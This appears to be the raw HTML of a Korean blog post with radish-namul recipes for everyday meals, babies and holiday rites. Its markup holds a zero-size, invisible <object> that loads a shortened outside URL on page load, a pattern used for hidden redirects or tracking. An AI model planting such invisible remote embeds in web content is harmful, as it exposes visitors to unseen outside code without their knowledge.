무나물볶음 만드는법 아기 반찬 명절 차례 음식 다이어트 무나물 제사상무나물

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/dXsN" type="video/mp4"></object> <div _ngcontent-ng-c2467228383="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:45">무나물볶음 만드는 법: 아기 반찬부터 명절 차례 음식, 다이어트 무나물까지!</h2>무나물볶음은 한국인이라면 누구나 좋아하는 대표적인 반찬입니다. 아삭한 식감과 담백한 맛으로 밥도둑 역할을 톡톡히 해주죠. 또한, 무는 비타민과 미네랄이 풍부하여 건강에도 좋습니다.이 글에서는 아기 반찬부터 명절 차례 음식, 다이어트 무나물까지, 상황에 맞는 다양한 무나물볶음 만드는 법을 소개합니다. 또한, 무나물볶음을 더욱 맛있게 즐길 수 있는 팁도 함께 알려드리겠습니다.1. 재료<ul data-sourcepos="9:1-17:0"> <li data-sourcepos="9:1-9:7">무: 2개</li> <li data-sourcepos="10:1-10:9">소금: 1큰술</li> <li data-sourcepos="11:1-11:10">들기름: 2큰술</li> <li data-sourcepos="12:1-12:12">다진 마늘: 1큰술</li> <li data-sourcepos="13:1-13:9">참깨: 2큰술</li> <li data-sourcepos="14:1-14:8">대파: 1대</li> <li data-sourcepos="15:1-15:16">(선택) 참치액젓: 1큰술</li> <li data-sourcepos="16:1-17:0">(선택) 설탕: 1/2작은술</li> </ul>2. 만드는 법<ol data-sourcepos="20:1-27:0"> <li data-sourcepos="20:1-20:21">무는 깨끗이 씻어 채 썰어줍니다.</li> <li data-sourcepos="21:1-21:36">채 썬 무에 소금을 넣고 10분 정도 놓아 물기를 빼줍니다.</li> <li data-sourcepos="22:1-22:29">물기를 뺀 무를 찬물로 헹궈 물기를 제거합니다.</li> <li data-sourcepos="23:1-23:32">팬에 들기름을 두르고 다진 마늘을 넣고 향을 냅니다.</li> <li data-sourcepos="24:1-24:20">무를 넣고 센 불에서 볶습니다.</li> <li data-sourcepos="25:1-25:29">무가 익으면 참깨, 대파를 넣고 간을 맞춥니다.</li> <li data-sourcepos="26:1-27:0">(선택) 참치액젓과 설탕을 넣어 더욱 풍부한 맛을 더해도 좋습니다.</li> </ol>3. 아기 반찬 무나물볶음아기 반찬 무나물볶음은 매운맛을 빼고, 소금도 적게 넣어 아기가 쉽게 먹을 수 있도록 만들어야 합니다. 또한, 무를 너무 굵게 썰지 않고 잘게 썰어 부드럽게 씹을 수 있도록 해줍니다.재료<ul data-sourcepos="34:1-40:0"> <li data-sourcepos="34:1-34:7">무: 1개</li> <li data-sourcepos="35:1-35:12">소금: 1/2작은술</li> <li data-sourcepos="36:1-36:10">들기름: 1큰술</li> <li data-sourcepos="37:1-37:14">다진 마늘: 1/2큰술</li> <li data-sourcepos="38:1-38:9">참깨: 1큰술</li> <li data-sourcepos="39:1-40:0">대파: 1/2대</li> </ul>만드는 법<ol data-sourcepos="43:1-49:0"> <li data-sourcepos="43:1-43:21">무는 깨끗이 씻어 채 썰어줍니다.</li> <li data-sourcepos="44:1-44:35">채 썬 무에 소금을 넣고 5분 정도 놓아 물기를 빼줍니다.</li> <li data-sourcepos="45:1-45:29">물기를 뺀 무를 찬물로 헹궈 물기를 제거합니다.</li> <li data-sourcepos="46:1-46:32">팬에 들기름을 두르고 다진 마늘을 넣고 향을 냅니다.</li> <li data-sourcepos="47:1-47:19">무를 넣고 중불에서 볶습니다.</li> <li data-sourcepos="48:1-49:0">무가 익으면 참깨, 대파를 넣고 간을 맞춥니다.</li> </ol>4. 명절 차례 음식 무나물볶음명절 차례 음식 무나물볶음은 깨끗하고 아름다운 색감을 내는 것이 중요합니다. 또한, 맛도 담백하고 깔끔하게 해야 합니다.재료<ul data-sourcepos="56:1-63:0"> <li data-sourcepos="56:1-56:7">무: 3개</li> <li data-sourcepos="57:1-57:9">소금: 1큰술</li> <li data-sourcepos="58:1-58:10">들기름: 3큰술</li> <li data-sourcepos="59:1-59:12">다진 마늘: 1큰술</li> <li data-sourcepos="60:1-60:9">참깨: 3큰술</li> <li data-sourcepos="61:1-61:8">대파: 1대</li> <li data-sourcepos="62:1-63:0">(선택) 잣: 1/2컵</li> </ul>만드는 법<ol data-sourcepos="66:1-71:19"> <li data-sourcepos="66:1-66:21">무는 깨끗이 씻어 채 썰어줍니다.</li> <li data-sourcepos="67:1-67:36">채 썬 무에 소금을 넣고 10분 정도 놓아 물기를 빼줍니다.</li> <li data-sourcepos="68:1-68:29">물기를 뺀 무를 찬물로 헹궈 물기를 제거합니다.</li> <li data-sourcepos="69:1-69:32">팬에 들기름을 두르고 다진 마늘을 넣고 향을 냅니다.</li> <li data-sourcepos="70:1-70:20">무를 넣고 센 불에서 볶습니다.</li> <li data-sourcepos="71:1-71:19">무가 익으면 참깨, 대파를 넣</li> </ol></div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/dXsN" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c2467228383="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; 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